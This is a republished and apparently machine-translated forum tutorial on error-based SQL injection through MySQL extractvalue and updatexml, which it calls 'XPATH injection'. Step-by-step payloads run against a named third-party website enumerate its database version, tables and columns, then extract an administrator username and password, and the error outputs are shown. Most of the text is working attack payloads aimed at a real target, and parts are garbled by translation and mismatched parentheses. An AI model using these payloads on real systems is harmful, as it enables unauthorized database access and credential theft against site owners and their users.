XPATH injection practice

Source: Internet
Author: User

So a few XPath Injection tutorials have been getting posted, and since I haven't seen much info on the updatexml method, I 'd thought I 'd make a quick tutorial for it. now I'll be going over both methods just for the sake of adding it to my mega-thread.

Extract Value

I'll be using this site as an example.

Code: http://leadacidbatteryinfo.org/newsdetail.php? Id = 51
Version (ExtractValue)

Code: + and + extractvalue (rand (), concat (0x7e, version () -- This will return our XPATH Syntax error, and give us our version.
This is what my link looks like.
Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 51 + and + extractvalue (rand (), concat (0x7e, version ()))--

Code: XPATH syntax error :'~ 5.1.52-Log'

You shoshould get your version.

Getting The Tables (Extract Value)

 

Code: + and + extractvalue (rand (), concat (0x7e, (select + table_name + from + information_schema. tables + where + table_schema = database () + limit + 0, 1 )))--
My link looks like this.
Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 51 + and + extractvalue (rand (), concat (0x7e, (select + table_name + from + information_schema.tables + where + table_schema = database () + limit + 0, 1 )))--

So lets load it up and see if we get our first table name!

 

Code:

XPATH syntax error :'~ Pdigclicks'


Woot it worked! Now we just increment in our limit statement until we find our table we want columns from.

Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 51 + and + extractvalue (rand (), concat (0x7e, (select + table_name + from + information_schema.tables + where + table_schema = database () + limit + [B] 1 [/B], 1 )))--

Code:

XPATH syntax error :'~ Pdigengine'

(# ‵ ') Convex
We want users or admin ..
Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 51 + and + extractvalue (rand (), concat (0x7e, (select + table_name + from + information_schema.tables + where + table_schema = database () + limit + [B] 2 [/B], 1 )))--

Code:

XPATH syntax error :'~ Pdigexcludes'

 

Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 51 + and + extractvalue (rand (), concat (0x7e, (select + table_name + from + information_schema.tables + where + table_schema = database () + limit + [B] 10 [/B], 1) -- Code: XPATH syntax error :'~ Tbladmin'

Woot, now let's get the columns.

 

Getting The Columns (ExtractValue)
First off, we want to convert our table name to hex.
My table name was tbladmin.
Whenever you convert something to hex, you add 0x in front of it.
It tells the site to read the hex value.
The hex of tbladmin is 74626c61646d696e
So it shoshould look like this.
Code: 0x74626c61646d696e
Now to get our columns, we change our syntax a bit, but it's still generally the same idea.
Code: + and + extractvalue (rand (), concat (0x7e, (select + column_name + from + information_schema. columns + where + table_name = 0xTABLE_HEX + limit + 0, 1) --]
Of course, replace TABLE_HEX with the hex value of your table name.
My link looks like this.
Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 51 + and + extractvalue (rand (), concat (0x7e, (select + column_name + fro m + information_schema.columns + where + table_name = 0x74626c61646d696e + limit + 0,1 )))--
Code: XPATH syntax error :'~ Adminid 'now use increment in your limit statement until you find the columns you want.

 

Getting Data Out of Columns (ExtractValue)

Now that you 've got your column names, you're going to want to put them in a concat statement.

Code: + and + extractvalue (rand (), concat (0x7e, (select + concat (column1, 0x7e, column2) + from + t ablename + limit + 0, 1 )))--
My columns I wanted were username and password, the 0x7e is the hex value "~ "Which I'll use as a seperator.
My link looks like this.
Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 51 + and + extractvalue (rand (), concat (0x7e, (select + concat (username, 0x7e, password) + from + tbladmin + limit + 0, 1 )))--
And as you can see, we get our XPath error with the admin login.

 

Code: XPATH syntax error :'~ Ishir ~ Ishir123'

UpdateXML

 

Getting The Version (UpdateXML)

Code: + and + updatexml (0x7e, concat (0x7e, (version (), 0 )--
My link looks like this ..

Code: leadacidbatteryinfo.org/newsdetail.php? Id = 52 + and + updatexml (0x7e, concat (0x7e, (version (), 0) -- We get our XPATH Error that returns the version.
Code:
XPATH syntax error :'~ 5.1.52-Log'

Getting The Tables (UpdateXML)

Code: + and + updatexml (0x7e, concat (0x7e, (select + concat (table_name) + from + information_sch ema. tables + where + table_schema = database () + limit + 0, 1), 0) -- My link looks like this ..

Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 52 + and + updatexml (0x7e, concat (0x7e, (select + concat (table_name) + from + information_schema.tables + where + table_schema = database () + limit + 0, 1), 0 )--
Code:
XPATH syntax error :'~ Pdigclicks 'now we know our first table is called pdigclicks. Let's see what else is in here ....
Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 52 + and + updatexml (0x7e, concat (0x7e, (select + concat (table_name) + from + information_schema.tables + where + table_schema = database () + limit + 1, 1), 0 )--
Code: XPATH syntax error :'~ Pdigengine 'For the sake of time, I know the table name I want is tbladmin.
Code: leadacidbatteryinfo.org/newsdetail.php? Id = 52 + and + updatexml (0x7e, concat (0x7e, (select + concat (table_name) + from + information_schema.tables + where + table_schema = database () + limit + 10, 1), 0 )--
And there's our table.
Code:
XPATH syntax error :'~ Tbladmin 'now let's get the columns from the table.

Getting Columns (UpdateXML)

Now it's the same idea, we just change the tables to columns, from the table name.

Code: + and + updatexml (0x7e, concat (0x7e, (select + concat (column_name) + from + information_ SC hema. columns + where + table_name = 0xTABLE_HEX + limit + 0, 1), 0 )--
Now my table name was tbladmin, so I convert that to hex and get 74626c61646d696e

My link looks like this.

Code: http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 52 + and + updatexml (0x7e, concat (0x7e, (select + concat (column_name) + from + information_schema.columns + where + table_name = 0x74626c61646d696e + limit + 0,1 ))), 0 )--
Code: XPATH syntax error :'~ Adminid'


Getting Data (UpdateXML)

Now once you 've got your columns, concatenate them and get the from the table you want.
Code:
Leadacidbatteryinfo.org/newsdetail.php? Id = 52 + and + updatexml (0x7e, concat (0x7e, (select + concat (column1, 0x7e, column2) + from + TABLENAME + limit + 0, 1), 0) -- My link looks like this ..
Code:
Http://www.leadacidbatteryinfo.org/newsdetail.php? Id = 52 + and + updatexml (0x7e, concat (0x7e, (select + concat (username, 0x7 e, password) + from + tbladmin + limit + 0, 1), 0) -- Code: XPATH syntax error :'~ Ishir ~ Ishir123'
There are very few articles related to XPATH injection on the Internet, so I plan to release it. In fact, it is similar to the principle of SQL injection. I will give you better articles in the future.

From: http://hi.baidu.com/evilrapper/blog/item/7a12043164a9e6b65fdf0e44.html

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.